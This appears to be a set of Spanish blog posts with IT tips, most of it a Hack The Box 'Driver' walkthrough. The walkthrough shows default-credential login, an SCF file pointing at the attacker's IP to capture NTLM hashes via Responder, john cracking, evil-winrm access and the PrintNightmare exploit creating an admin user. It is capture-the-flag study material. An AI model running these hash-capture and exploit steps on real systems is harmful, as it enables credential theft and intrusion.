BadUsb UsbKiller RubberDuck Barato
Gist con la configuración y archivo de teclado Apple y solución compilador en VM
En la entrada de Registro
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
En BackupProductKeyDefault
Si está almacenada en EFI/BIOS
Por powershell o cmd
wmic path softwarelicensingservice get OA3xOriginalProductKey
Abrir Putty Key Generator (Viene con la instalación de Putty).
1.-Confirmar que en el menú key esta SSH2 RSA seleccionado que es la opción por defecto.
Para tipo de clave que se va a generar, tipo por defecto, RSA y número de bits 2048
2.- Botón de Generar, si mueves el ratón genera entropía en la clave, termina y nos sale una clave, esta hay que copiarla en un archivo de texto, mejor llamarlo como la llave privada, pero terminando en pub
Salvar llave pública, guarda en el formato propietario de putty con lo que no es necesario.
Guardar llave privada, lo guarda en su formato propietario ppk
Mejor guardar las dos claves en un sitio y anotar donde, como plus siempre una phassprase y siempre una llave privada y pública para cada servicio.
Necesitarás Notepad ++
Pega el código en notepad ++
En la opción código selecciona el tipo de código (en mi caso de hoy es bash).
En plugins opción de NppExport Copy to RTF Clipboard
Y ya lo puedes pegar.
Nmap -sC -sV -oA driver 10.10.11.106
-sC Ejecuta los scripts por defecto. ¡Ojo hay scripts considerados intrusivos no los utilices contra una red de la que no tengas permiso!
-sV Se puede emplear -A en su lugar, pero devuelve más datos y no es necesario.
-oA Seguido del nombre de archivo en el que quiero que guarde el escaneo, en este caso drive, pasa los resultados a todos los formatos (.nmap .xml .gnmap) y lo deja “grepeable” que puede usar grep.
Encontramos un puerto 80 http vamos a la web y pide usuario
y contraseña, como siempre probamos con las típicas, con usuario:admin y contraseña:admin deja entrar. Esto no es nada extraño la mayoría de impresoras o no tienen contraseña o tienen una contraseña ridícula.
Encontramos el panel de una impresora navegando por las opciones la única
que hace algo es la de firmware update, selecciono un archivo cualquiera y lo acepta.
Dice que el archivo ha sido cargado y que alguien lo revisara.
Ya que tenemos un acceso, se puede probar con un fuzzer, con dirbuster, gobuster, cambiar y seguir las respuestas web con burpsuite (que aunque lo hice no lo documente). En este caso pruebo con ffuz y no consigo nada, esto es así vas probando caminos hasta que das con el que te permite seguir avanzando.
Instalo ffuf (Fuzz Faster U Fool) ya que no viene en la distribución de Parrot Linux.
Sudo apt install ffuf
Cosas que se van aprendiendo con la práctica, admin:admin codificado a Base64 es YWRtaW46YWRtaW4= Cuando usemos APIS una de las autenticaciones es por texto plano en Base64 que es la de esta máquina, hay muchas. (Aunque para sistemas más críticos, se utilizan hashes o sistemas de llaves, claves públicas, etc.).
Dejo enlace a documentación de IBM, explicando como hacer peticiones a su API.
https://www.ibm.com/docs/es/ibm-mq/9.1?topic=security-using-http-basic-authentication-rest-api
Dicho lo cual.
Una autenticación básica HTTP con REST API, se puede crear un cabecero como el siguiente para mandar las peticiones web.
Authorization: Basic YWRtaW46YWRtaW4=
Pues al lío, veamos que encontramos fuzzeando esa web con el usuario autenticado.
El archivo big.txt viene por defecto, creo que en Kali Linux también esta, es como su nombre indica un archivo grande de palabras típicas en servidores web.
ffuf -c -H 'Authentication: Basic YWRtaW46YWRtaW4=' -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.106/FUZZ -e .php,.zip,.txt,.pdf
-c saca la salida por consola con colorines, se ven más rápido los resultados.
-w ruta de lista de palabras, opcional palabra separada por: dos puntos en este caso no, pero podría poner. Uso big.txt
-H Header, cabezera "Name:Value" separados por una coma, Multiple -H flags se pueden usar
-u target url
-e extensiones separadas por coma, extiende la FUZZ keyword
En el escaneo inicial, teníamos un puerto SMB, pero no nos deja hacer gran cosa con él.
Pruebo a listar o conectar con smbclient sin usuario como anónimo y no consigo nada
smbclient -L 10.10.11.106
smbclient -L 10.10.11.106 -U
smbclient -U ‘ ‘ 10.10.11.106
Quiero probar el crackmapexec aunque ya está claro por donde va la máquina, dibujito de una impresora se llama driver y hace poco salió el fallo Printnightmare de Microsoft
Necesita python 3 y recomienda usar pipx por que aísla todas sus dependencias
apt-get install python3-venv
python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec
cme es la abreviación de crackmapexec hago las típicas búsquedas, araño un poco de información, pero nada que sirva.
cme smb 10.10.11.106 –shares
y devuelve
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
Enumero con usuario y pasword en blanco y nada
Retomemos, tenemos una impresora, podemos subir un archivo que alguien va a revisar y tenemos una conexión SMB, a la que sin usuario y password no podemos acceder.
Emplear un archivo SFC para capturar los hashes de quien se conecte, y luego crackearlos para obtener su contraseña.
Resumido un archivo SFC es un archivo muy básico con el que el explorador de archivos de Windows se entiende, por ejemplo, para saber que miniatura o icono tiene que mostrar.
Vamos a abusar de este archivo para qué nos envié los hashes NTLMv1/2 de todos los usuarios que accedan a una carpeta en la que este ese archivo.
La idea es subirlo con la actualización del firmware, la persona que compruebe la carpeta sin saberlo, nos mandara sus hashes solo con acceder y sin realizar ninguna acción solo con abrir la carpeta son nuestros.
Para ello creamos un archivo con este contenido, la ip 10.10.14.2 es la de mi máquina donde pondré un responder para cuando reciba las peticiones de test.ico
[Shell]
Command=2
IconFile=\\10.10.14.2\share\test.ico
[Taskbar]
Command=ToggleDesktop
Guardamos como: NOMBREQUEQUIERAS.SCF
Si no da el cante mucho mejor y si le pones delante un 1 para que sea de lo primero en cargar también, por ejemplo 1TMP.SCF
responder -wrf --lm -v -I tun0
-I tun0 va a responder por a Interface tun0 con ifconfig he visto que interface estaba usando, como estoy en un tunnel ipsec en mi caso pues es tun0 otros podréis ser eth0 eth1 wlan0 etc.
-wrf lo típico, (es casi el estándar del responder).
lm para que haga downgrade en xp y sever 2003
v para que nos muestre en consola lo que va sucediendo.
Seleccionamos el archivo, le damos a submit y miramos la ventana del responder.
Subo el archivo otra vez y captura otros hashes distintos del mismo usuario.
Ctrl+c para salir
Copio únicamente los hashes en un archivo.
Una fila un hash, de esta manera:
PONGOALGOINVENTADO::NOESELORIGINAL:4f1c8e4d55150988:2B0067E04F1E0CD09B44382D4E32BB82:01010000000000008DC65B6D821AD801907826F2F909C70E00000000020000000000000000000000
NOQUIEROHACER::SPOILER:e25a12bb9fd4273e:40E3864027B693D4DC0864CC92DC7B60:0101000000000000A63D906D821AD80139C06452D451D28B00000000020000000000000000000000
Preparo john de ripper para petarlos, como le voy a pasar el rockyou (archivo con muchas claves compiladas que se usa en las CTF y que viene incluido en las distribuciones de pentesting).
Está comprimido para descomprimirlo en su dirección, /usr/share/wordlists/
sudo gzip -d rockyou.txt.gz
El nombre de archivo que he puesto es hasesparapetar
Y lanzo
john hasesparapetar --wordlist=/usr/share/wordlists/rockyou.txt
Wow eso fue rápido, en un segundo o menos tenemos el password para ese hash
--ESTESERIA EL USUARIO tiene ESTESERIA EL PASSWORD de password
Se puede confirmar pasando
john hasesparapetar –show
Usamos evil-winrm
-i para especificar la ip a la que conectamos
-u para el usuario
-p pasa la clave
evil-winrm -i 10.10.11.106 -u USUARIO -p PASSWORD
Voy a la carpeta de Desktop y un Get-Content user.txt muestra el flag de user
Descargo winpeas a mi máquina y en la máquina atacada se lo subo
upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/winPEASany.exe
y lo ejecuto
*Evil-WinRM* PS C:\Users\USUARIO\Documents> ./winPEASany.exe
Da mucha información, pero como estoy cansado voy directo al grano.
Busco por internet algún exploit de PrintNightmare
Elijo el de Caleb Stewart y John Hammond, ya que John Hammond me mola en su canal de YouTube y suele ser muy didáctico y minucioso.
Descargo en mi equipo el exploit
git clone https://github.com/calebstewart/CVE-2021-1675
En la máquina remota subo el ps1
upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/CVE-2021-1675/CVE-2021-1675.ps1
Ejecuto me da error… me quiero ir a dormir… ostras lo de siempre con powershell tengo restricted ya sabéis que la ejecución de scripts de powershell suele estar en modo restringido.
Lo cambio, ejecuto el exploit y me creo un usuario
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Import-Module .\CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Invoke-Nightmare -NewUser "ELQUESEA" -NewPassword "Zaq123456"
No funciona, miro servicios no tiene el spooler,
puede ser que alguien en la misma máquina haya hecho alguna fechoría como no soy admin no puedo hacer un sc start spooler. Reinicio la máquina.
Ejecuto lo anterior
Exit para salir del Evil-Winrm
Conecto con el usuario creado y Get-Content root.txt
Para obtener un certificado solo podrá ser descargado desde el mismo equipo, usuario y navegador con el que se solicitó este a lo que se suma que no puede haberse actualizado en este tiempo el sistema y el navegador.
Pero…
1.- Ver si en este equipo lo hemos solicitado, igual estamos en otro equipo, o la persona lo ha soñado.
Empieza a escribir: certi hasta que salga Administrar de certificados de usuarios, dentro en
Solicitud de inscripción de certificado, debería estar justo con la fecha de caducidad un año después del día que se solicitó. SI NO HAY NINGUNO NO FUE EN ESTE ORDENADOR o FUE con Firefox,
Si encontramos ese archivo, pero no instala el archivo hay un método, usaremos una versión portable de Chrome descargado de la FNMT Chrome Portable.
Como último recurso hay que probar con ese navegador.
Powershell de administrador
Vemos datos de las conexiones
Get-NetConnectionProfile
Nos fijamos en la conexión que queremos (puede que sea teamed) y nos quedamos con el InterfaceIndex
En este ejemplo, el valor es 16, para cambiarlo:
Set-NetConnectionProfile -InterfaceIndex 16 -NetworkCategory Private
Cuando hay miles de archivos en una carpeta compartida, se deberá tratar de reducir el número de archivos.
Se creará una unidad de red para esa carpeta que está dando problemas, y con botón derecho y propiedades se debe asegurar que esté marcado la indexación de archivos.
Y lo que más ayude, será crear la siguiente entrada de registro:
En:
HKLM\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\
Crear un DWORD(32bits)
Que se llamara:
DirectoryCacheLifetime
Si ya esta, o a este recién creado hay que ponerle el valor 0.
Enlace a distintas entradas de registro, para el servidor de archivos:
Haciendo poco ruido, devolutions, empresa muy conocida en el mundo profesional de IT, deja de manera gratuita su solución de gestión de contraseñas para uso personal.
Hoy en día es muy fácil robar todas las contraseñas guardadas en el navegador, sin dejar rastro y de manera casi instantánea, nos hemos acostumbrado a que sea él sin dar demasiada importancia donde y como se guardan.
Firefox con Lockwise incluido en el navegador desde hace pocos años, es de los más seguros, eso si, si se usa una llave maestra, si no sigue siendo vulnerable.
***Actualizo la publicación, ya que Loi Liang Yang, el youtuber HackerLoi, hacker Ético ha compartido un video de poca duración mostrando el proceso.
Nos dicen y con razón que no hay que repetir contraseñas si se filtra una vez algo que ocurre de manera más frecuentemente de lo que podemos creer, queda disponible tu contraseña, nombre de usuario, correo, etc.
Si no conoces https://haveibeenpwned.com/ prueba a buscar los datos recopilados de tu cuenta de correo, o tu número de teléfono escrito en la manera internacional, en España añadiendo +34 delante del número.
Con esos datos un cybercriminal de manera automatizada, masiva y relativamente anónima puede probar esos datos en otros sitios, tu correo, tu banco, mandarte un correo personalizado haciéndose pasar por una compañía al aportar datos que en principio no tendrían que tener acceso.
Entonces, ¿qué hago?.
Si queremos tener todas los claves disponibles, en cualquier situación y plataforma, de una manera fácil y segura, pero sin tener que recordar nada (Bueno una contraseña, y guardar la de emergencia a buen recaudo).
Password hub personal de devolutions, gratis y de los mejores.
Para empezar a usarlo hay que crear una cuenta y crear un vault (Bóveda segura).
https://password.devolutions.net/personal/sign-up
Guardar a buen recaudo la clave que emplearemos y la clave de restauración, porque si perdemos las dos no se podrán recuperar los datos.Instalar según necesitemos los plugins de navegador para automatizar el uso.
https://devolutions.net/web-login
Empiezo a probarlo ya.